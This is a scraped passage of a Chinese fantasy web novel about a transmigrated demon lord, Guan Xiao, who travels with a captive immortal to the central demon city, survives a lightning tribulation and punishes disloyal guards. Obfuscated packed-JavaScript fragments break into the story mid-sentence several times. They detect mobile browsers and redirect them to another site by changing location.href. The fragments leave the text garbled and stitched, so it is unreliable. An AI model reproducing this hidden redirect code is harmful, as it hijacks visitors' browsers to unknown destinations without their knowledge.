l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14027602|147786||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 影响美观,官逍环顾左右,最后将头上红布绳解下,缠到仙子脖颈处,“且先遮一遮,回去用药。” 有了上回的经验,这次魔尊既觉碍眼又不帮他施法治疗的行为,叶鹤清已经习惯,顺手接过布绳两头,在脖颈后方打了个结。 官逍见他识趣,颇为满意,只不过这抹深红就成了仙子身上最亮眼的存在,看起来有些不伦不类又诡异地让官逍喜欢。 他好像有点理解风悟毎日让仙子换装的乐趣了。 官逍欣赏后披散着长发继续前行,“刚为何一直盯着我的宝贝冰魄?” 仙子跟在他的身后,半晌只回了一句:“吾略有些好奇。” 官逍想想也是,初飞升的仙子对仙魔两界的法器有憧憬是正常,不过…… 官逍猛地顿住脚步,脸色有些不对,“我记得你有一把长剑。” 叶鹤清立刻便懂了他话中含义,从洗灵池走出的仙子了却人界因果,又怎会自带法器,他解释道:“那是与吾一同飞升的法器。” 这种情形实在罕见,若是有原书中怎会不提及,可官逍并不记得有谁的法器飞升。 将疑惑放进心中,官逍只觉这仙子看似普通却又极不平凡,可惜他大部分精力都投于自己的修炼上,没有多余的时间去探究。 不过自己如今已经修炼到凝元期,区区一初飞升的仙子也奈何不了他了。 官逍总算是体会到了能力在旁人之上的快乐,瞥过仙子脖颈的红色,官逍难得给仙子一点甜头,“本尊叫人去炼器房给你取一柄仙界的剑来。” 这意思便是他的法器没有要回的可能,但勉强可以赏你个没用的,你拿着随便挥挥解闷儿。 叶鹤清并不意外,只是有些错愕,魔界的魔修竟连那些没开灵智的仙界剑都会收藏。 官逍对上他惊异的眼神,难得心虚地移开视线。 从前原身杀了那么多进献来的仙子,总有那么些仙界的武器没被一同处理。 大抵是想到了这个原因,仙子的表情瞬间又变得冷漠,官逍虽没做那些事,可这锅还是得背着,只当不知他情绪的转变。 但不可避免的,官逍的心情也受到了些许影响。 两人沉默一前一后往寝殿方向而去,官逍昨夜未休息,今日又在武器库与长剑斗法,略感疲惫,准备回寝殿补眠。 然而刚走到魔殿门口,便见一身着铠甲的魔修坐在从远处飞奔而来,远远看见红色身影便扬手喊“报”。 那声音急促,官逍顿住脚步,魔殿中的禄无游与风悟也走了出来,看向朝着他们奔来的魔修。 “报,护法大人在前往中央魔城的路上,被一众散仙联合暗算,受伤昏迷不醒,现已被护送至魔城中。” 听下属这么一禀报,官逍有那么一瞬不受控制地感受到暴烈的情绪在翻涌,他压下心中怒意,不知情绪为何来得这般急促。 他看了看眼前面孔,禄无游脸色苍白,风悟义愤填膺,连魔殿门口看门大高个儿都是瞪个大眼睛,官逍叹了口气,伤的伤,傻的傻,看着一个都不靠谱的样子。 23. 第二十三章 听说官逍要亲自前往中心魔城,别说是禄无游等一众魔修,连站在官逍身后的叶鹤清都有些错愕。 官逍毎日在东稷无所事事,不残暴不杀戮,只在附近四处游荡,这般过去了两个多月,闲散形象已经有些深入魔心,骤然间说不准备继续散漫了,要出去寻仇,这未免显得有些突然。 “尊主,这般小事,为何不发调令让九行煞前去?”禄无游提议。 官逍摇摇头,“九行煞前几日传信说西南地界近日反乱的魔增多,他需坐镇。” 禄无游想想下属传回来的近日西南的动静,也打消了这个心思,话说尊主大人从前对这等小事不屑一顾,这次却突发奇想要亲自去,约莫是渡劫后一直待在东稷,太久未开杀戒,实在太憋闷。 可,那只不过是几个低等散仙,让尊主亲自出马,显得魔界惧了仙界似的。 “不如派属下前去?”禄无游想想又忍不住劝道。 官逍如今修炼刚起步,其实也不想出东稷,比起外面,东稷这地方相对安全,可原书中并无破山月遇袭此段剧情,想来应是他的到来让魔界除了些许变故,散仙们既然已出手暗算破山月,自然是有目的地在行事,并非他们之前猜测的只去中心魔城凑热闹刷副本,更多的或许是奔着那位陨落的帝君残留神力而去,正好,官逍也想去看看传说中的中心魔城。 “你?”官逍将禄无游上下打量了一遍,“刚破了小境界便好好修炼,去与那几个散仙计较什么。” 禄无游被尊主这轻飘飘的话语给噎了半晌,确实,此次突破小境界是有些捡了便宜的因素在,若是好好修炼稳住境界,下一次破境界或许能事半功倍,可私心里,他对仙界的仇怨心理,总觉得让尊主去应对散仙实在太给仙界面子了。 “本尊也许久未去中心魔城了。”官逍看了眼禄无游,那眼神中似藏深意。 禄无游与尊主对视,似乎了然了什么,“是,待吾稳住境界,便前往中心魔城替尊主分忧。” 这般三言两语,官逍的行程便已定好,禄无游本想给官逍配上一支庞大的魔修护卫队,可官逍一见便有些头疼,这一路他还想继续修炼,早日进入魔婴期,若是跟着这么一大批魔修时刻盯着他,那还有何修炼空间可言。 “吾又非与仙界开战,你这般安排作甚,况且,一个魔修跟着本尊,还是百个,又有何区别呢?”官逍反问。 于是,禄无游这个全能秘书只能放弃自己的小心思,护卫队便从几百魔修锐减到十来个魔修。 禄无游带着下属正要送尊主到百里之外,魔殿之外,只见官逍换了身红衣出来,走出两步,又驻足看向站在一众魔修后方的仙子,眉头一挑,“你站在那作甚,跟着本尊。” 众魔修你瞧瞧我,我瞧瞧你,最后顺着尊主的视线,这才锁定在了叶鹤清的身上,颇为诧异。 叶鹤清迟疑了好几息,这才迈步走到了官逍身后。 “尊主带一个无用的仙子作何?”风悟近两日已与禄无游说明了叶鹤清的身份,故而对于这么一个魔尊夜间解闷儿的玩意,不知为何要如此抬举,将他带出东稷。 官逍并未回答,或许只是出于直觉,心中有个声音告诉他,若是不带上这仙子,或许他会在东稷捅出什么大篓子。 官逍一向信任自己的直觉,便决定将他放在眼皮子底下,且穿书进入这个世界这么久,能与他交谈几句的竟只有这么个仙界的仙子,说来实在匪夷所思,路上若不带上个聊天解闷儿的人,兴许会少很多乐子。 待叶鹤清跟上,官逍一边走一边从腰间扯下个精致的储物袋丢向身后,“带上,这一路莫要让我听见叮叮当当的声响。” 叶鹤清伸手接住空中的储物袋,乖乖从袖中将那几个瓷瓶取出,塞进储物袋中,手伸进去的刹那,眼中有诧异一闪而过。 还未等他将手拿出,就见本还行在他前方的官逍眨眼间已没了踪影。 不仅他没反应过来,跟在他身后的十来个魔修也都脚步一顿,而更后方送行的禄无游等人面对停下的队伍不明所以,待仔细一看,果然,目之所及,哪儿还有尊主的身影。 禄无游这才反应过来,尊主说一人跟随还是百人跟随有何区别,确实,都跟不上,有什么区别? 而令禄无游诧异的是,环顾四周找尊主的这片刻时间,一直走在尊主身后的青衣仙子好似也凭空消失了一般。 被安排跟尊主去魔城的十来个魔修不知如何行事,禄无游一见他们这踟蹰模样顿觉头痛,为了公平起见,他将其他护法的下属也都抽调了两个,可一行魔却谁也不愿出头拿主意,这样一支护卫队,要如何护卫尊主的安危。 后方混乱官逍不得而知,或者说他本就做好了与那些魔修们不同行的准备,跟着原身的记忆,他想寻到中心魔城并不难,只是在到中心魔城之前,他需得进入魔婴期,不然到时城中若遇散仙,他的炎魔咒很难释放出群体伤害来。 至于仙子,官逍并不担心,刚在给他储物袋的时候,就已经给出了自己的行路指示与禁制,叫他必须跟随,也只能跟随。 况且,昨日毫无提示他都能与自己在泥沙处相遇,官逍都要觉得仙子长了双能嗅闻他气味的狗鼻子。 脚下踩着无影诀的步伐一路行得飞快,实践越多,官逍对此功法愈发熟悉,两个多时辰,官逍就已经走到了东稷的边缘。 眼前魔河宽约五百来丈,黑水翻滚,与官逍魔殿后院的黑水池颜色不相上下,且气息极为相近,想来池中水便是从这河流的分支引入。 官逍感受着波涛河水中涌起带来的阵阵魔气,在河边盘膝而坐,打开教学系统的课程,开始静静运转体内魔力。 消耗了些魔气的身体在一点点的修炼运转间修炼被填充,这河水的魔气远比池中水浓郁,故而官逍吸纳的时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14037750|147786||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 候格外顺畅,修炼进度也比往日更快一些。 近两个多时辰过去,官逍再睁眼,只觉浑身充满力量,手中魔气释放出,奔腾的河水宛如被丢了几个雷,炸出的水花飞溅,好在官逍自己施法前有所预兆,提前便放出风墙阻挡。 感受着体内的魔气领域,官逍才发觉,修炼所处的环境对于修炼的速度也有诸多影响。 又坐了片刻,官逍耳中便听见几里之外有细微的脚步声,偏头等了会儿,果然见到一袭青衣的仙子慢慢悠悠地出现在他的视野中,手中握着一把普通的长剑。 “怎未与魔修同行?”官逍站起身,拍了拍沾染在身上的沙土。 仙子走到官逍身边,声音一如既往平静,“尊主将这给我,不就是不想让魔修们跟随?” 说着,他抬了抬右手,袖口垮落,露出一截手臂,与手腕上那根红绳。 官逍的目光落在仙子手腕上,露出满意神色,“仙子深得本尊心意。” 那红绳并非装饰品,是官逍晨间去武器库看见的法器,据那炼器房的魔修管事说,此法器取材于金眼鹰兽的韧带,金眼鹰兽最擅长追踪定位,但生性孤傲,难以被魔修豢养,故而只能猎杀取其韧带作为炼器材料。 而官逍从炼器房顺走的这个法器,除了能让官逍知晓仙子的位置在哪,也能凭心意向仙子透露他的位置,官逍当时听介绍,便眼前一亮,这不就是魔界版的小天才电话手表嘛! 官逍将这定位法器放在储物袋中,只要仙子伸手进袋,法器便会自动附着在仙子手腕上,非官逍施法不能取下。 官逍倒没想过仙子会不会不喜,将他放出东稷,离了那些魔修的监视,若没有些保险的举措,难免他会生出逃离的心思。 而以现在仙子的表现来看,他似是对官逍的这一暗算接受良好,大抵在他的心里,这般行事很符合外界对魔尊的刻板印象。 面对翻涌的长河,官逍释放出冰魄剑光,将仙子拽到自己身边,继而脚下剑光带着二人腾空而起,以飞快的速度穿过长河及大山,往魔界正中央的方向而去。 这一路陆陆续续行了十几日才到魔城,并非官逍的冰魄行速太慢,而是他毎日也只行路半日,之后的时间就寻一地形独特的地方静心打坐,或是沙石流动的流沙谷,亦或者是岩浆喷薄的炽焰山,待夜色降临便就近休憩。 对于官逍这行为,叶鹤清实在难以看懂,若说他关心下属伤势,这么些时日他不急不缓,明明可以耗费魔力直接撕开时空去往中心魔城,却偏偏选了最费力的出行方式,可若说他对下属并无感情,那他也不会在得知破山月重伤昏迷后选择亲自前往中心魔城坐镇。 对于叶鹤清的疑惑,官逍自然不会为他解答,先不说他的魔力支撑不了日夜不休地御剑飞行,就算可以,他第一次出东稷,也想尽可能多的选择修炼场地,以在修炼过程中寻找些许事半功倍的可能。 24. 第二十四章 赶在进入中心魔城前,官逍成功度过了凝元期,突破境界时头顶阴云密布,伴着隐隐雷鸣。 魔界虽大多时候都是阴云满天,雾气缭绕,可真正会雷鸣落雨的时候并不多,且今日这头顶的雷云明显就是有人要渡劫的架势。 彼时他们距离中心魔城也不过几十里路程,官逍坐在魔城外的山顶,感受到体内的魔气领域逐渐弱小,慢慢在丹田内凝成一颗乒乓球大小的魔核,魔气在魔核外流转,将魔核包裹其中,而魔核没魔气充裕,虽大小远不及从前的魔气领域,可其中魔气却远比从前储存更多,且更加精纯。 原来这便是魔核,有了魔核便是度过了基础的修炼期,开始真正成为一个魔,官逍不断催动体内魔气去骚扰自己的魔核,欣赏其美貌,沉醉不已。 若非耳中捕捉了闷雷声,脑中划过破境渡雷劫的想法,他都难以将注意力移到别处。 官逍睁眼抬头,只见周围的黑云还在不断累积,俨然是一副等量变达成质变后,便一道惊雷劈死他的架势。官逍看了眼身后仰头对着天空思索的仙子,脑中有不好的念头闪过。 若是当着仙子的面渡雷劫,还是这种小型雷劫,那自己高深的修为假象不就不攻自破,今后还要如何立足? 心中警铃大作,官逍从山石上跳下来,对着兀自琢磨雷劫的仙子道:“许是要下雨了,尽快入城吧!” 叶鹤清点点头,走到官逍身边,时不时抬头看看天空,官逍踏着冰魄剑光直接带着仙子进了城,头顶跟着越来越黑沉的乌云,这般从未有过的出场方式,当真是气派且独一无二。 试问,除了官逍,有谁会带着雷劫一同出场呢? 中央魔城上禁止御剑飞行,而官逍也顾不上许多,直奔城中而去。 下方的守卫军看到了擅闯的官逍和仙子,城门一众魔兵身着银灰色铠甲,手持武器,迅速追上冰魄的行迹。 “这应是雷劫。”身后的仙子开口道。 官逍心想那还用说,我难道不比你更清楚头顶的是什么? “或许城中有魔修渡劫。”官逍一副平淡的口气答道。 叶鹤清也只能作此猜想,他倒也没往官逍身上想,毕竟按照这雷云来看,至多是个魔婴出窍期魔修的雷劫,仙魔两界都知魔尊在两月前经历了八十一道天雷和七道生死劫雷,成功过了渡劫期,这种低阶雷劫自然不可能与他有关。 看着漫天雷云,叶鹤清也只在心中感叹一句来得不是时候。 待冰魄停滞在魔城中心魔殿上方的时候,头顶的黑云几乎将整个魔殿都笼罩,官逍听着越来越响的雷声皱了皱眉,感觉到一阵刺眼的光自天际而来,直冲自己面门。 这场景简直是官逍穿书来时的情景再现,他苦苦修魔几个月,这回岂能再被雷击中,当即拽上仙子,从魔殿顶上一跃而下。 他们身后,惊雷劈中魔殿屋顶的瓦片,爆破声响惊动了半城的魔修。 官逍带着仙子稳稳落地,叶鹤清回头看向一片狼藉的魔殿屋顶,不禁皱了皱眉,“这雷劫怎么好似冲着你我而来?” 官逍也扭头看那一堆破碎的瓦片,庆幸中带着点儿莫名的骄傲,听到仙子问话,理直气壮,“你好歹也是得道飞升的仙子,怎么半点儿不懂雷,魔殿是全城最高的建筑物,我们刚所站的位置恰好又是凸出的魔殿顶部,雷自然会劈向那处。” 叶鹤清拧眉,这说话好似也有些道理。 不等他问出第二个问题,闷雷声再起,似乎预示着又一道雷劫将至。 官逍额上的汗还没来得及擦去,当即又操纵冰魄直冲云霄,在半空截住了雷电,引向十几米开外的空地。 雷电击中冰魄带出耀眼的光芒,让周遭赶来的守城兵有一瞬间的失神。 叶鹤清终于反应过来违和感在何处了,他又开口道:“可这并非如同雷雨天气,而是有人在渡劫。” 官逍收回冰魄,“那又如何?” 叶鹤清被他这理直气壮的话给问得差点不知如何作答,魔尊向来随心所欲,又何曾关心旁人的得失,他便只能从官逍的角度回应:“阻人破境,会遭天谴。” 官逍心想这是我自己的雷劫,我只是合理避雷罢了,又遭哪门子天谴,教学系统已经发出破镜成功的通知,这天道雷劫不过是走个过场而已,他总不能真傻傻地挨劈吧! “那便叫天道谴责于我便是。”官逍随口敷衍。 叶鹤清与官逍相处这些时日,见他毎日只四处闲逛品尝野果,还当收敛了心性,如今看来,他还真是走眼了,魔尊一如既往张狂。 第三道雷劫这时应声而至,官逍拽着仙子再次踏剑光回到屋顶,他们刚刚所站的位置被雷劈出一个巨坑,一众守城兵还未来得及闪躲,便被飞沙走石扑了满身满脸。 刚刚那道雷显然是奔着官逍而去的,叶鹤清长叹一声,“天谴来得当真是快。” “无事,来的快去的也快。”官逍松了口气,耳中听见仙子的话,已读乱回。 三道雷落下,天道也不在意是否真劈中了渡劫之人,便草草收工离场,当真是像来走个过场的一般。 叶鹤清抬头看向天空,那堆积的黑云已向四处分散开,眨眼间已是各奔东西寻不到踪影,叶鹤清看看天空,又看看身边的官逍,这一瞬间他对自己多年经验产生了质疑。 天道何曾这般好说话了? 想当年他还是人界一峰弟子时,他那师尊化神期渡劫,三十六道天雷落下,因师尊身上有法器护身躲过两道天雷,于是天雷硬是劈了三十八道,直将师尊劈得人事不省,这才安心落幕。 彼时的天道为何没现在这般好说话,面对官逍的挑衅也只是象征性恐吓一下便算了。 这便算了? 叶鹤清对三界的规则理解摇摇欲坠,却无人能为他解答,官逍此时正坐在魔殿顶上,手中握着一个破了的瓦片把玩,面对下方守城兵的问话。 官逍都要被气笑了,便是原身百年 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14044190|147786||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不曾踏足中心魔城,就他这一身红衣、这张俊美无双的脸,魔界竟还有魔不知他的身份?还一副要审判他在魔城中御剑的模样。 官逍将手中瓦片掷出,带着火光而去,广袖随着他的动作发出布帛震颤的声音,官逍换了个舒服些的坐姿,居高临下看着被火袭后哀叫连连的守城兵,语气冷冽:“魔界竟还有不识本尊身份的魔修,这中心魔城在你们心中是被归于谁的地界了?又是在效忠于谁?” 他的连连发问让下方一众灰头土脸的守城兵不知如何作答,而此时赶来的身穿银色凯甲的一群魔修隔着一段距离便已齐齐单膝跪地行礼,气势如虹。 前方这些守城兵方才醒悟一般,跟着跪倒一片。 官逍皱眉,眼中厉色闪过,看来他的直觉并没出错,这群守城兵,已然认了别的主。 原身实力强大,对管理魔界一事纯粹是武力镇压,并不愿多费心思,故而将之前魔界许多职位都被直接废除,例如长老之流,在原身的统治下已不存在;而原本直属于魔主管理的十二魔将,也被原身分成四份,让四个下属护法管理。 故而原身自己是没什么直接势力的,他相信几个护法会忠心于他,更有信心能让四个护法不敢生出二心。 这种做法有利有弊,对原身来说,他能凭自身实力以最轻松的方式掌控整个魔界,而对于官逍这个接盘者来说,想将魔界握在手中却已是难如登天。 可这种模式的弊端也很明显,就像中心魔城这种地方,四个护法据都觉是属于魔尊的地盘,俱疏于管理,于是这片土地上滋生出来的妖鬼蛇神便数不胜数,成为各种新老势力成长的温床,以至于这些守城兵只知主上,不知魔尊。 官逍招招手,示意破山月的下属到近前来,待一行银甲魔修停在了大坑前,官逍才抬手,修长的指尖一指那群守城兵,“将他们压进地牢,严刑伺候。” 银甲魔修早已看他们不爽,之前碍于是破山月下属的身份,而不能对中心魔城的魔修起压制作用,现下魔尊亲自开口,那还分什么东西南北,直接听命便是。 一时间魔殿门外热闹不已,告饶的,喊冤的,嘈杂声不绝,官逍摸了摸耳朵,“堵上嘴,不安分的割去舌头还是砍断手脚,你们随心情处置。” 这是官逍来这个世界第一回真正摆魔尊的谱,只因未来一段时日他都需在中心魔城居住,若是不快刀斩乱麻解决明面上的不服从者,那他将会不断被陷入处理各种试探的漩涡中。 他现下只有魔婴初期的修为,并不能保证自己处理麻烦的能力,为了自身安危,倒不如拿这些守城兵开刀,一则是直接解决可能遇到的麻烦,二则是杀鸡儆猴,让那些盘踞在中心魔城的势力都夹起尾巴,腾出足够的时间让官逍继续提升自己修为。 在一阵杂乱声后,中心魔城终于安静了,只是面前的一切都凌乱得官逍想挠头。 破烂不堪的屋顶,两人深的巨坑,地上散乱的兵器,还有几个新鲜流血的舌头。